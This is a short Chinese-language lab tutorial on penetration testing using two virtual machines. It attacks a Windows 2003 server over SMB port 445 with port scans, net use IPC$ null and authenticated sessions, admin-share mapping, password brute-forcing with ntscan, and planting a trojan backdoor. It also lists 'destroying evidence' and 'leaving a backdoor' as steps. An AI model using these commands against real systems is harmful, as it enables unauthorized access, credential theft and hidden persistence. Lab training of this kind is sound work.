渗透测试简单流程

简单流程

一.信息收集

nslookup   whois

二.扫描漏洞

namp=IP范围  端口  80  （iss，apache，什么网站）

高级扫描：如iss漏洞  扫描网站漏洞

三.漏洞利用

四.提权（shell环境，桌面环境，最高权限））

手工测试端口号开放： talent IP地址  测试端口

五.毁尸灭迹

六.留后门

七.渗透测试报告

实操

开两台虚拟机

win2003  服务器   10.1.1.2       

winxp   员工    10.1.1.1

用xp攻击2003

首先要使得两台虚拟机能够通信 配置IP在同一局域网中

配置完成后尝试在xp上ping一下2003   ping成功

接下来 进行攻击

攻击 445攻击（共享端口）

第一步：端口扫描

手动扫描

telnet IP 端口   出现如下情况代表开着相应的端口

自动扫描 使用scanport

可以看到 xp和2003两台虚拟机都打开了445端口

445漏洞利用之一ipc$:

net use用于将计算机与共享的资源相连接（建立磁盘映射），或者切断计算机与共享资源的连接(删除磁盘映射)，当不带选项使用本命令时，它会列出计算机的连接。

1)建立空连接:
net use \\IP\ipc$ "" /user:"" (一定要注意:这一行命令中包含了3个空格)

2)建立非空连接:
net use \\IP\ipc$ "密码" /user:"用户名" (同样有3个空格)

3)映射默认共享:
net use z: \\IP\c$ "密码" /user:"用户名" (即可将对方的c盘映射为自己的z盘，其他盘类推)
如果已经和目标建立了ipc$，则可以直接用IP+盘符+$访问,具体命令 net use z: \\IP\c$

4)删除一个ipc$连接
net use \\IP\ipc$ /del

5)删除共享映射
net use c: /del 删除映射的c盘，其他盘类推
net use * /del 删除全部,会有提示要求按y确认

3 查看远程主机的共享资源（但看不到默认共享）
net view \\IP  
 

 暴力破解系统密码之445

使用工具 ntscan

将user和密码都爆破出来以后  就可以通过net use \\IP\ipc$ "密码" /user:"用户名" 来建立一个连接

 

成功连接后就可以留后门

制作木马

copy 植入木马